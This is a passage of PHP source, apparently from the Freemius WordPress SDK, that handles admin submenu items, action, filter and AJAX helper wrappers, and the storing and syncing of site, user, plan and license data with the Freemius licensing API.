$capability = ( ! empty( $item['capability'] ) ? $item['capability'] : $top_level_menu_capability ); $menu_item = sprintf( $item_template, $this->get_unique_affix(), $item['menu_slug'], ! empty( $item['class'] ) ? $item['class'] : '', $item['menu_title'] ); $top_level_menu_slug = $this->get_top_level_menu_slug(); $menu_slug = $this->_menu->get_slug( $item['menu_slug'] ); if ( ! isset( $item['url'] ) ) { $hook = FS_Admin_Menu_Manager::add_subpage( $item['show_submenu'] ? $top_level_menu_slug : '', $item['page_title'], $menu_item, $capability, $menu_slug, $item['render_function'] ); if ( false !== $item['before_render_function'] ) { add_action( "load-$hook", $item['before_render_function'] ); } } else { FS_Admin_Menu_Manager::add_subpage( $item['show_submenu'] ? $top_level_menu_slug : '', $item['page_title'], $menu_item, $capability, $menu_slug, array( $this, '' ) ); } if ( $item['show_submenu'] && $is_first_submenu_item ) { if ( $this->_is_network_active && ! empty( $this->_dynamically_added_top_level_page_hook_name ) ) { /** * If the top-level menu has been dynamically created, remove the first submenu item that * WordPress automatically creates when there's no submenu item whose slug matches the * parent's. In the following example, the `Awesome Plugin` submenu item will be removed. * * Awesome Plugin * - Awesome Plugin <-- we want to remove this since there's no real setting page for the top-level * * @author Leo Fajardo (@leorw) */ remove_submenu_page( $top_level_menu_slug, $top_level_menu_slug ); } $is_first_submenu_item = false; } } } } /** * Re-order the submenu items so all Freemius added new submenu items * are added right after the plugin's settings submenu item. * * @author Vova Feldman (@svovaf) * @since 1.1.4 */ private function order_sub_submenu_items() { global $submenu; $menu_slug = $this->_menu->get_top_level_menu_slug(); /** * Before "admin_menu" fires, WordPress will loop over the default submenus and remove pages for which the user * does not have permissions. So in case a plugin does not have top-level menu but does have submenus under any * of the default menus, only users that have the right role can access its sub-submenus (Account, Contact Us, * Support Forum, etc.) since $submenu[ $menu_slug ] will be empty if the user doesn't have permission. * * In case a plugin does not have submenus under any of the default menus but does have submenus under the menu * of another plugin, only users that have the right role can access its sub-submenus since we will use the * capability needed to access the parent menu as the capability for the submenus that we will add. */ if ( empty( $submenu[ $menu_slug ] ) ) { return; } $top_level_menu = &$submenu[ $menu_slug ]; $all_submenu_items_after = array(); $found_submenu_item = false; foreach ( $top_level_menu as $submenu_id => $meta ) { if ( $found_submenu_item ) { // Remove all submenu items after the plugin's submenu item. $all_submenu_items_after[] = $meta; unset( $top_level_menu[ $submenu_id ] ); } if ( $this->_menu->get_raw_slug() === $meta[2] ) { // Found the submenu item, put all below. $found_submenu_item = true; continue; } } // Embed all plugin's new submenu items. $this->embed_submenu_items(); // Start with specially high number to make sure it's appended. $i = max( 10000, max( array_keys( $top_level_menu ) ) + 1 ); foreach ( $all_submenu_items_after as $meta ) { $top_level_menu[ $i ] = $meta; $i ++; } // Sort submenu items. ksort( $top_level_menu ); } /** * Helper method to return the module's support forum URL. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return string */ function get_support_forum_url() { return $this->apply_filters( 'support_forum_url', "https://wordpress.org/support/{$this->_module_type}/{$this->_slug}" ); } /** * Displays the Support Forum link when enabled. * * Can be filtered like so: * * function _fs_show_support_menu( $is_visible, $menu_id ) { * if ( 'support' === $menu_id ) { * return _fs->is_registered(); * } * return $is_visible; * } * _fs()->add_filter('is_submenu_visible', '_fs_show_support_menu', 10, 2); * */ function _add_default_submenu_items() { if ( ! $this->is_on() ) { return; } if ( ! $this->is_activation_mode() && ( ( $this->_is_network_active && fs_is_network_admin() ) || ( ! $this->_is_network_active && is_admin() ) ) ) { $this->add_submenu_link_item( $this->apply_filters( 'support_forum_submenu', $this->get_text_inline( 'Support Forum', 'support-forum' ) ), $this->get_support_forum_url(), 'wp-support-forum', null, 50, $this->is_submenu_item_visible( 'support' ) ); } } /** * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param string $menu_title * @param callable $render_function * @param bool|string $page_title * @param string $capability * @param bool|string $menu_slug * @param bool|callable $before_render_function * @param int $priority * @param bool $show_submenu * @param string $class Since 1.2.1.5 can add custom classes to menu items. */ function add_submenu_item( $menu_title, $render_function, $page_title = false, $capability = 'manage_options', $menu_slug = false, $before_render_function = false, $priority = WP_FS__DEFAULT_PRIORITY, $show_submenu = true, $class = '' ) { $this->_logger->entrance( 'Title = ' . $menu_title ); if ( $this->is_addon() ) { $parent_fs = $this->get_parent_instance(); if ( is_object( $parent_fs ) ) { $parent_fs->add_submenu_item( $menu_title, $render_function, $page_title, $capability, $menu_slug, $before_render_function, $priority, $show_submenu, $class ); return; } } if ( ! isset( $this->_menu_items[ $priority ] ) ) { $this->_menu_items[ $priority ] = array(); } $this->_menu_items[ $priority ][] = array( 'page_title' => is_string( $page_title ) ? $page_title : $menu_title, 'menu_title' => $menu_title, 'capability' => $capability, 'menu_slug' => is_string( $menu_slug ) ? $menu_slug : strtolower( $menu_title ), 'render_function' => $render_function, 'before_render_function' => $before_render_function, 'show_submenu' => $show_submenu, 'class' => $class, ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param string $menu_title * @param string $url * @param bool $menu_slug * @param string $capability * @param int $priority * @param bool $show_submenu */ function add_submenu_link_item( $menu_title, $url, $menu_slug = false, $capability = 'read', $priority = WP_FS__DEFAULT_PRIORITY, $show_submenu = true ) { $this->_logger->entrance( 'Title = ' . $menu_title . '; Url = ' . $url ); if ( $this->is_addon() ) { $parent_fs = $this->get_parent_instance(); if ( is_object( $parent_fs ) ) { $parent_fs->add_submenu_link_item( $menu_title, $url, $menu_slug, $capability, $priority, $show_submenu ); return; } } if ( ! isset( $this->_menu_items[ $priority ] ) ) { $this->_menu_items[ $priority ] = array(); } $this->_menu_items[ $priority ][] = array( 'menu_title' => $menu_title, 'capability' => $capability, 'menu_slug' => is_string( $menu_slug ) ? $menu_slug : strtolower( $menu_title ), 'url' => $url, 'page_title' => $menu_title, 'render_function' => 'fs_dummy', 'before_render_function' => '', 'show_submenu' => $show_submenu, ); } #endregion ------------------------------------------------------------------ #-------------------------------------------------------------------------------- #region Admin Notices #-------------------------------------------------------------------------------- /** * @author Vova Feldman (@svovaf) * @since 2.3.1 * * @param string|string[] $ids * @param int|null $network_level_or_blog_id * * @uses FS_Admin_Notices::remove_sticky() */ function remove_sticky( $ids, $network_level_or_blog_id = null ) { $this->_admin_notices->remove_sticky( $ids, $network_level_or_blog_id ); } #endregion #-------------------------------------------------------------------------------- #region Actions / Hooks / Filters #-------------------------------------------------------------------------------- /** * @author Vova Feldman (@svovaf) * @since 1.1.7 * * @param string $tag * * @return string */ public function get_action_tag( $tag ) { return self::get_action_tag_static( $tag, $this->_slug, $this->is_plugin() ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.6 * * @param string $tag * @param string $slug * @param bool $is_plugin * * @return string */ static function get_action_tag_static( $tag, $slug = '', $is_plugin = true ) { $action = "fs_{$tag}"; if ( ! empty( $slug ) ) { $action .= '_' . self::get_module_unique_affix( $slug, $is_plugin ); } return $action; } /** * Returns a string that can be used to generate a unique action name, * option name, HTML element ID, or HTML element class. * * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @return string */ public function get_unique_affix() { return self::get_module_unique_affix( $this->_slug, $this->is_plugin() ); } /** * Returns a string that can be used to generate a unique action name, * option name, HTML element ID, or HTML element class. * * @author Vova Feldman (@svovaf) * @since 1.2.2.5 * * @param string $slug * @param bool $is_plugin * * @return string */ static function get_module_unique_affix( $slug, $is_plugin = true ) { $affix = $slug; if ( ! $is_plugin ) { $affix .= '-' . WP_FS__MODULE_TYPE_THEME; } return $affix; } /** * @author Vova Feldman (@svovaf) * @since 1.2.1 * @since 1.2.2.5 The AJAX action names are based on the module ID, not like the non-AJAX actions that are * based on the slug for backward compatibility. * * @param string $tag * * @return string */ function get_ajax_action( $tag ) { return self::get_ajax_action_static( $tag, $this->_module_id ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @param string $tag * * @return string */ function get_ajax_security( $tag ) { return wp_create_nonce( $this->get_ajax_action( $tag ) ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @param string $tag */ function check_ajax_referer( $tag ) { check_ajax_referer( $this->get_ajax_action( $tag ), 'security' ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.6 * @since 1.2.2.5 The AJAX action names are based on the module ID, not like the non-AJAX actions that are * based on the slug for backward compatibility. * * @param string $tag * @param number|null $module_id * * @return string */ static function get_ajax_action_static( $tag, $module_id = null ) { $action = "fs_{$tag}"; if ( ! empty( $module_id ) ) { $action .= "_{$module_id}"; } return $action; } /** * Do action, specific for the current context plugin. * * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param string $tag The name of the action to be executed. * @param mixed $arg,... Optional. Additional arguments which are passed on to the * functions hooked to the action. Default empty. * * @uses do_action() */ function do_action( $tag, $arg = '' ) { $args = func_get_args(); $this->_logger->entrance( $tag ); call_user_func_array( 'do_action', array_merge( array( $this->get_action_tag( $tag ) ), array_slice( $args, 1 ) ) ); } /** * Add action, specific for the current context plugin. * * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param string $tag * @param callable $function_to_add * @param int $priority * @param int $accepted_args * * @uses add_action() */ function add_action( $tag, $function_to_add, $priority = WP_FS__DEFAULT_PRIORITY, $accepted_args = 1 ) { $this->_logger->entrance( $tag ); add_action( $this->get_action_tag( $tag ), $function_to_add, $priority, $accepted_args ); } /** * Add AJAX action, specific for the current context plugin. * * @author Vova Feldman (@svovaf) * @since 1.2.1 * * @param string $tag * @param callable $function_to_add * @param int $priority * * @uses add_action() * * @return bool True if action added, false if no need to add the action since the AJAX call isn't matching. */ function add_ajax_action( $tag, $function_to_add, $priority = WP_FS__DEFAULT_PRIORITY ) { $this->_logger->entrance( $tag ); return self::add_ajax_action_static( $tag, $function_to_add, $priority, $this->_module_id ); } /** * Add AJAX action. * * @author Vova Feldman (@svovaf) * @since 1.2.1.6 * * @param string $tag * @param callable $function_to_add * @param int $priority * @param number|null $module_id * * @return bool True if action added, false if no need to add the action since the AJAX call isn't matching. * @uses add_action() * */ static function add_ajax_action_static( $tag, $function_to_add, $priority = WP_FS__DEFAULT_PRIORITY, $module_id = null ) { self::$_static_logger->entrance( $tag ); if ( ! self::is_ajax_action_static( $tag, $module_id ) ) { return false; } add_action( 'wp_ajax_' . self::get_ajax_action_static( $tag, $module_id ), $function_to_add, $priority, 0 ); self::$_static_logger->info( "$tag AJAX callback action added." ); return true; } /** * Send a JSON response back to an Ajax request. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param mixed $response */ static function shoot_ajax_response( $response ) { wp_send_json( $response ); } /** * Send a JSON response back to an Ajax request, indicating success. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param mixed $data Data to encode as JSON, then print and exit. */ static function shoot_ajax_success( $data = null ) { wp_send_json_success( $data ); } /** * Send a JSON response back to an Ajax request, indicating failure. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param mixed $error Optional error message. */ static function shoot_ajax_failure( $error = '' ) { $result = array( 'success' => false ); if ( ! empty( $error ) ) { $result['error'] = $error; } wp_send_json( $result ); } /** * Returns an AJAX URL with a special extra param to indicate whether the request was triggered from the network admin or blog admin. * * @author Vova Feldman (@svovaf) * @since 2.5.1 * * @param string $wrap_with By default, returns the AJAX URL wrapped with single quotes. * * @return string */ static function ajax_url( $wrap_with = "'") { if ( fs_is_network_admin() ) { $param_name = '_fs_network_admin'; } else { $param_name = '_fs_blog_admin'; } $url = admin_url( 'admin-ajax.php', 'relative' ); $url .= ( false === strpos( $url, '?' ) ) ? '?' : '&'; $url .= "{$param_name}=true"; return "{$wrap_with}{$url}{$wrap_with}"; } /** * Apply filter, specific for the current context plugin. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param string $tag The name of the filter hook. * @param mixed $value The value on which the filters hooked to `$tag` are applied on. * * @return mixed The filtered value after all hooked functions are applied to it. * * @uses apply_filters() */ function apply_filters( $tag, $value ) { $args = func_get_args(); $this->_logger->entrance( $tag ); array_unshift( $args, $this->get_unique_affix() ); return call_user_func_array( 'fs_apply_filter', $args ); } /** * Add filter, specific for the current context plugin. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param string $tag * @param callable $function_to_add * @param int $priority * @param int $accepted_args * * @uses add_filter() */ function add_filter( $tag, $function_to_add, $priority = WP_FS__DEFAULT_PRIORITY, $accepted_args = 1 ) { $this->_logger->entrance( $tag ); add_filter( $this->get_action_tag( $tag ), $function_to_add, $priority, $accepted_args ); } /** * Check if has filter. * * @author Vova Feldman (@svovaf) * @since 1.1.4 * * @param string $tag * @param callable|bool $function_to_check Optional. The callback to check for. Default false. * * @return false|int * * @uses has_filter() */ function has_filter( $tag, $function_to_check = false ) { $this->_logger->entrance( $tag ); return has_filter( $this->get_action_tag( $tag ), $function_to_check ); } #endregion /** * Override default i18n text phrases. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param string[] string $key_value * * @uses fs_override_i18n() */ function override_i18n( $key_value ) { fs_override_i18n( $key_value, $this->_slug ); } /* Account Page ------------------------------------------------------------------------------------------------------------------*/ /** * Update site information. * * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param bool $store Flush to Database if true. * @param null|int $network_level_or_blog_id Since 2.0.0 * @param \FS_Site $site Since 2.0.0 */ private function _store_site( $store = true, $network_level_or_blog_id = null, FS_Site $site = null, $is_backup = false ) { $this->_logger->entrance(); if ( is_null( $site ) ) { $site = $this->_site; } if ( !isset( $site ) || !is_object($site) || empty( $site->id ) ) { $this->_logger->error( "Empty install ID, can't store site." ); return; } $site_clone = clone $site; $sites = self::get_all_sites( $this->_module_type, $network_level_or_blog_id, $is_backup ); if ( ! $is_backup && is_object( $this->_user ) && $this->_user->id != $site->user_id ) { $this->sync_user_by_current_install( $site->user_id ); $prev_stored_user_id = $this->_storage->get( 'prev_user_id', false, $network_level_or_blog_id ); if ( empty( $prev_stored_user_id ) && is_object($this->_user) && $this->_user->id != $site->user_id ) { /** * Store the current user ID as the previous user ID so that the previous user can be used * as the install's owner while the new owner's details are not yet available. * * This will be executed only in the `replica` site. For example, there are 2 sites, namely `original` * and `replica`, then an ownership change was initiated and completed in the `original`, the `replica` * will be using the previous user until it is updated again (e.g.: until the next clone of `original` * into `replica`. * * @author Leo Fajardo (@leorw) */ $this->_storage->store( 'prev_user_id', $sites[ $this->_slug ]->user_id, $network_level_or_blog_id ); } } $sites[ $this->_slug ] = $site_clone; $this->set_account_option( ( $is_backup ? 'prev_' : '' ) . 'sites', $sites, $store, $network_level_or_blog_id ); } /** * Stores the context site in the sites backup storage. This logic is used before deleting the site info so that it can be restored later on if necessary (e.g., if the automatic clone resolution attempt fails). * * @author Leo Fajardo (@leorw) * @since 2.5.0 */ private function back_up_site() { $this->_logger->entrance(); $site_clone = clone $this->_site; $this->_store_site( true, null, $site_clone, true ); } /** * Update plugin's plans information. * * @author Vova Feldman (@svovaf) * @since 1.0.2 * * @param bool $store Flush to Database if true. */ private function _store_plans( $store = true ) { $this->_logger->entrance(); $plans = self::get_all_plans( $this->_module_type ); // Copy plans. $encrypted_plans = array(); for ( $i = 0, $len = count( $this->_plans ); $i < $len; $i ++ ) { $encrypted_plans[] = self::_encrypt_entity( $this->_plans[ $i ] ); } $plans[ $this->_slug ] = $encrypted_plans; $this->set_account_option( 'plans', $plans, $store ); } /** * Update user's plugin licenses. * * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @param bool $store * @param number|bool $module_id * @param FS_Plugin_License[] $licenses */ private function _store_licenses( $store = true, $module_id = false, $licenses = array() ) { $this->_logger->entrance(); $all_licenses = self::get_all_licenses(); if ( ! FS_Plugin::is_valid_id( $module_id ) ) { $module_id = $this->_module_id; $user_licenses = is_array( $this->_licenses ) ? $this->_licenses : array(); if ( empty( $user_licenses ) ) { // If the context user doesn't have any license, don't update the licenses collection. return; } $new_user_licenses_map = array(); foreach ( $user_licenses as $user_license ) { $new_user_licenses_map[ $user_license->id ] = $user_license; } self::store_user_id_license_ids_map( array_keys( $new_user_licenses_map ), $this->_module_id, $this->_user->id ); // Update user licenses. $licenses_to_update_count = count( $new_user_licenses_map ); foreach ( $all_licenses[ $module_id ] as $key => $license ) { if ( 0 === $licenses_to_update_count ) { break; } if ( isset( $new_user_licenses_map[ $license->id ] ) ) { // Update license. $all_licenses[ $module_id ][ $key ] = $new_user_licenses_map[ $license->id ]; unset( $new_user_licenses_map[ $license->id ] ); $licenses_to_update_count --; } } if ( ! empty( $new_user_licenses_map ) ) { // Add new licenses. $all_licenses[ $module_id ] = array_merge( array_values( $new_user_licenses_map ), $all_licenses[ $module_id ] ); } $licenses = $all_licenses[ $module_id ]; } if ( ! isset( $all_licenses[ $module_id ] ) ) { $all_licenses[ $module_id ] = array(); } $all_licenses[ $module_id ] = $licenses; self::$_accounts->set_option( 'all_licenses', $all_licenses, $store ); } /** * Update user information. * * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param bool $store Flush to Database if true. */ private function _store_user( $store = true ) { $this->_logger->entrance(); if ( empty( $this->_user->id ) ) { $this->_logger->error( "Empty user ID, can't store user." ); return; } $users = self::get_all_users(); $users[ $this->_user->id ] = $this->_user; self::$_accounts->set_option( 'users', $users, $store ); } /** * Update new updates information. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param FS_Plugin_Tag|null $update * @param bool $store Flush to Database if true. * @param bool|number $plugin_id */ private function _store_update( $update, $store = true, $plugin_id = false ) { $this->_logger->entrance(); if ( $update instanceof FS_Plugin_Tag ) { $update->updated = time(); } if ( ! is_numeric( $plugin_id ) ) { $plugin_id = $this->_plugin->id; } $updates = self::get_all_updates(); $updates[ $plugin_id ] = $update; self::$_accounts->set_option( 'updates', $updates, $store ); } /** * Update new updates information. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param FS_Plugin[] $plugin_addons * @param bool $store Flush to Database if true. */ private function _store_addons( $plugin_addons, $store = true ) { $this->_logger->entrance(); $addons = self::get_all_addons(); $addons[ $this->_plugin->id ] = $plugin_addons; self::$_accounts->set_option( 'addons', $addons, $store ); } /** * Delete plugin's associated add-ons. * * @author Vova Feldman (@svovaf) * @since 1.0.8 * * @param bool $store * * @return bool */ private function _delete_account_addons( $store = true ) { $all_addons = self::get_all_account_addons(); if ( ! isset( $all_addons[ $this->_plugin->id ] ) ) { return false; } unset( $all_addons[ $this->_plugin->id ] ); self::$_accounts->set_option( 'account_addons', $all_addons, $store ); return true; } /** * Update account add-ons list. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param FS_Plugin[] $addons * @param bool $store Flush to Database if true. */ private function _store_account_addons( $addons, $store = true ) { $this->_logger->entrance(); $all_addons = self::get_all_account_addons(); $all_addons[ $this->_plugin->id ] = $addons; self::$_accounts->set_option( 'account_addons', $all_addons, $store ); } /** * Purges the cache for the valid user licenses API call so that when the `Account` or `Add-Ons` page is loaded, * the valid user licenses will be fetched again and the account add-ons may be updated. * * @author Leo Fajardo (@leorw) * @since 2.2.4 */ private function purge_valid_user_licenses_cache() { if ( ! $this->is_registered() ) { return; } $this->get_api_user_scope()->purge_cache( $this->get_valid_user_licenses_endpoint() ); } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @param array $all_licenses * @param number|null $site_license_id * @param bool $include_parent_licenses * * @return array */ private function get_foreign_licenses_info( $all_licenses, $site_license_id = null, $include_parent_licenses = false ) { $foreign_licenses = array( 'ids' => array(), 'license_keys' => array() ); $parent_license_ids_map = array(); foreach ( $all_licenses as $license ) { if ( $license->user_id == $this->_user->id || $license->id == $site_license_id ) { continue; } $foreign_licenses['ids'][] = $license->id; $foreign_licenses['license_keys'][] = $license->secret_key; if ( $include_parent_licenses && is_object( $this->_license ) && FS_Plugin_License::is_valid_id( $this->_license->parent_license_id ) && ! isset( $parent_license_ids_map[ $this->_license->parent_license_id ] ) ) { /** * Include the parent license's info only if it has not been included before since child licenses * can have the same parent license. */ $foreign_licenses['ids'][] = $this->_license->parent_license_id; $foreign_licenses['license_keys'][] = $license->secret_key; $parent_license_ids_map[ $this->_license->parent_license_id ] = true; } } if ( empty( $foreign_licenses['ids'] ) ) { $foreign_licenses = array(); } return $foreign_licenses; } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @return string */ private function get_valid_user_licenses_endpoint() { $user_licenses_endpoint = '/licenses.json?type=active' . ( FS_Plugin::is_valid_id( $this->get_bundle_id() ) ? '&is_enriched=true' : '' ); $foreign_licenses = $this->get_foreign_licenses_info( self::get_all_licenses( $this->_module_id ), null, true ); if ( ! empty ( $foreign_licenses ) ) { $foreign_licenses = array( // Prefix with `+` to tell the server to include foreign licenses in the licenses collection. 'ids' => ( urlencode( '+' ) . implode( ',', $foreign_licenses['ids'] ) ), 'license_keys' => implode( ',', array_map( 'urlencode', $foreign_licenses['license_keys'] ) ) ); $user_licenses_endpoint = add_query_arg( $foreign_licenses, $user_licenses_endpoint ); } return $user_licenses_endpoint; } /** * Fetches active licenses that are enriched with product type if there's a context `bundle_id` and bundle * licenses enriched with product IDs if there are any. From the licenses, the `get_updated_account_addons` * method filters out non–add-on product IDs and stores the add-on IDs. * * @author Leo Fajardo (@leorw) * @since 2.2.4 * * @return stdClass[] array */ private function fetch_valid_user_licenses() { $this->_logger->entrance(); $result = $this->get_api_user_scope()->get( $this->get_valid_user_licenses_endpoint() ); if ( ! $this->is_api_result_object( $result, 'licenses' ) || ! is_array( $result->licenses ) ) { return array(); } return $result->licenses; } /** * @author Leo Fajardo (@leorw) * @since 2.2.4 * * @return number[] Account add-on IDs. */ function get_updated_account_addons() { $addons = $this->get_addons(); if ( empty( $addons ) ) { return array(); } $account_addons = $this->get_account_addons(); if ( ! is_array( $account_addons ) ) { $account_addons = array(); } $user_licenses = $this->is_registered() ? $this->fetch_valid_user_licenses() : array(); if ( empty( $user_licenses ) ) { return $account_addons; } $addon_ids = array(); foreach ( $addons as $addon ) { $addon_ids[] = $addon->id; } $license_product_ids = array(); foreach ( $user_licenses as $license ) { if ( isset( $license->plugin_type ) && 'bundle' === $license->plugin_type ) { $license_product_ids = array_merge( $license_product_ids, $license->products ); } else { $license_product_ids[] = $license->plugin_id; } } // Filter out non–add-on IDs. $new_account_addons = array_intersect( $addon_ids, $license_product_ids ); if ( count( $new_account_addons ) !== count( $account_addons ) ) { $this->_store_account_addons( array_unique( $new_account_addons ) ); } return $new_account_addons; } /** * Store account params in the Database. * * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param null|int $blog_id Since 2.0.0 */ private function _store_account( $blog_id = null ) { $this->_logger->entrance(); $this->_store_site( false, $blog_id ); $this->_store_user( false ); $this->_store_plans( false ); $this->_store_licenses( false ); self::$_accounts->store( $blog_id ); } /** * Sync user's information. * * @author Vova Feldman (@svovaf) * @since 1.0.3 * @uses FS_Api */ private function _handle_account_user_sync() { $this->_logger->entrance(); $api = $this->get_api_user_scope(); // Get user's information. $user = $api->get( '/', true ); if ( isset( $user->id ) ) { $this->_user->first = $user->first; $this->_user->last = $user->last; $this->_user->email = $user->email; $is_menu_item_account_visible = $this->is_submenu_item_visible( 'account' ); if ( $user->is_verified && ( ! isset( $this->_user->is_verified ) || false === $this->_user->is_verified ) ) { $this->_user->is_verified = true; $this->do_action( 'account_email_verified', $user->email ); $this->_admin_notices->add( $this->get_text_inline( 'Your email has been successfully verified - you are AWESOME!', 'email-verified-message' ), $this->get_text_x_inline( 'Right on', 'a positive response', 'right-on' ) . '!', 'success', // Make admin sticky if account menu item is invisible, // since the page will be auto redirected to the plugin's // main settings page, and the non-sticky message // will disappear. ! $is_menu_item_account_visible, 'email_verified' ); } // Flush user details to DB. $this->_store_user(); $this->do_action( 'after_account_user_sync', $user ); /** * If account menu item is hidden, redirect to plugin's main settings page. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @link https://github.com/Freemius/wordpress-sdk/issues/6 */ if ( ! $is_menu_item_account_visible ) { fs_redirect( $this->_get_admin_page_url() ); } } } /** * @author Vova Feldman (@svovaf) * @since 1.0.9 * @uses FS_Api * * @param number|bool $license_id * * @return FS_Subscription|object|bool */ private function _fetch_site_license_subscription( $license_id = false ) { $this->_logger->entrance(); $api = $this->get_api_site_scope(); if ( ! is_numeric( $license_id ) ) { $license_id = FS_Plugin_License::is_valid_id( $this->_license->parent_license_id ) ? $this->_license->parent_license_id : $this->_license->id; } $result = $api->get( "/licenses/{$license_id}/subscriptions.json", true ); return ! isset( $result->error ) ? ( ( is_array( $result->subscriptions ) && 0 < count( $result->subscriptions ) ) ? new FS_Subscription( $result->subscriptions[0] ) : false ) : $result; } /** * @author Vova Feldman (@svovaf) * @since 1.0.4 * @uses FS_Api * * @param number|bool $plan_id * * @return FS_Plugin_Plan|object */ private function _fetch_site_plan( $plan_id = false ) { $this->_logger->entrance(); $api = $this->get_api_site_scope(); if ( ! is_numeric( $plan_id ) ) { $plan_id = $this->_site->plan_id; } $plan = $api->get( "/plans/{$plan_id}.json", true ); return ! isset( $plan->error ) ? new FS_Plugin_Plan( $plan ) : $plan; } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * @uses FS_Api * * @return FS_Plugin_Plan[]|object */ private function _fetch_plugin_plans() { $this->_logger->entrance(); $api = $this->get_current_or_network_user_api_scope(); /** * @since 1.2.3 When running in DEV mode, retrieve pending plans as well. */ $result = $api->get( $this->add_show_pending( "/plugins/{$this->_module_id}/plans.json" ), true ); if ( $this->is_api_result_object( $result, 'plans' ) && is_array( $result->plans ) ) { for ( $i = 0, $len = count( $result->plans ); $i < $len; $i ++ ) { $result->plans[ $i ] = new FS_Plugin_Plan( $result->plans[ $i ] ); } $result = $result->plans; } return $result; } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $plan_id * * @return \FS_Plugin_Plan|object */ private function fetch_plan_by_id( $plan_id ) { $this->_logger->entrance(); $api = $this->get_current_or_network_user_api_scope(); $result = $api->get( "/plugins/{$this->_module_id}/plans/{$plan_id}.json", true ); return $this->is_api_result_entity( $result ) ? new FS_Plugin_Plan( $result ) : $result; } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * @uses FS_Api * * @param number|bool $plugin_id * @param number|bool $site_license_id * @param array $foreign_licenses @since 2.0.0. This is used by network-activated plugins. * @param number|null $blog_id * * @return FS_Plugin_License[]|object */ private function _fetch_licenses( $plugin_id = false, $site_license_id = false, $foreign_licenses = array(), $blog_id = null ) { $this->_logger->entrance(); $api = $this->get_api_user_scope(); if ( ! is_numeric( $plugin_id ) ) { $plugin_id = $this->_plugin->id; } $user_licenses_endpoint = "/plugins/{$plugin_id}/licenses.json?is_enriched=true"; if ( ! empty ( $foreign_licenses ) ) { $foreign_licenses = array( // Prefix with `+` to tell the server to include foreign licenses in the licenses collection. 'ids' => ( urlencode( '+' ) . implode( ',', $foreign_licenses['ids'] ) ), 'license_keys' => implode( ',', array_map( 'urlencode', $foreign_licenses['license_keys'] ) ) ); $user_licenses_endpoint = add_query_arg( $foreign_licenses, $user_licenses_endpoint ); } $result = $api->get( $user_licenses_endpoint, true ); $is_site_license_synced = false; $api_errors = array(); if ( $this->is_api_result_object( $result, 'licenses' ) && is_array( $result->licenses ) ) { for ( $i = 0, $len = count( $result->licenses ); $i < $len; $i ++ ) { $result->licenses[ $i ] = new FS_Plugin_License( $result->licenses[ $i ] ); if ( ( ! $is_site_license_synced ) && is_numeric( $site_license_id ) ) { $is_site_license_synced = ( $site_license_id == $result->licenses[ $i ]->id ); } } $result = $result->licenses; } else { $api_errors[] = $result; $result = array(); } if ( ! $is_site_license_synced ) { if ( ! is_null( $blog_id ) ) { /** * If blog ID is not null, the request is for syncing of the license of a single site via the * network-level "Account" page. * * @author Leo Fajardo (@leorw) */ $this->switch_to_blog( $blog_id ); } $api = $this->get_api_site_scope(); if ( is_numeric( $site_license_id ) ) { // Try to retrieve a foreign license that is linked to the install. $api_result = $api->call( '/licenses.json?is_enriched=true' ); if ( $this->is_api_result_object( $api_result, 'licenses' ) && is_array( $api_result->licenses ) ) { $licenses = $api_result->licenses; if ( ! empty( $licenses ) ) { $result[] = new FS_Plugin_License( $licenses[0] ); } } else { $api_errors[] = $api_result; } } else if ( is_object( $this->_license ) && /** * Sync only if the license belongs to the context plugin. `$plugin_id` can be an add-on ID while * the FS instance that does the syncing is the parent FS instance. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ $this->_license->plugin_id == $plugin_id ) { $is_license_in_result = false; if ( ! empty( $result ) ) { foreach ( $result as $license ) { if ( $license->id == $this->_license->id ) { $is_license_in_result = true; break; } } } if ( ! $is_license_in_result ) { // Fetch foreign license by ID and license key. $license = $api->get( "/licenses/{$this->_license->id}.json?license_key=" . urlencode( $this->_license->secret_key ) . '&is_enriched=true' ); if ( $this->is_api_result_entity( $license ) ) { $result[] = new FS_Plugin_License( $license ); } else { $api_errors[] = $license; } } } if ( ! is_null( $blog_id ) ) { $this->switch_to_blog( $this->_storage->network_install_blog_id ); } } if ( is_array( $result ) && 0 < count( $result ) ) { // If found at least one license, return license collection even if there are errors. return $result; } if ( ! empty( $api_errors ) ) { // If found any errors and no licenses, return first error. return $api_errors[0]; } // Fallback to empty licenses list. return $result; } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $license_id * @param string $license_key * * @return \FS_Plugin_License|object */ private function fetch_license_by_key( $license_id, $license_key ) { $this->_logger->entrance(); $api = $this->get_current_or_network_user_api_scope(); $result = $api->get( "/licenses/{$license_id}.json?license_key=" . urlencode( $license_key ) ); return $this->is_api_result_entity( $result ) ? new FS_Plugin_License( $result ) : $result; } /** * @author Vova Feldman (@svovaf) * @since 1.2.0 * @uses FS_Api * * @param number|bool $plugin_id * @param bool $flush * * @return FS_Payment[]|object */ function _fetch_payments( $plugin_id = false, $flush = false ) { 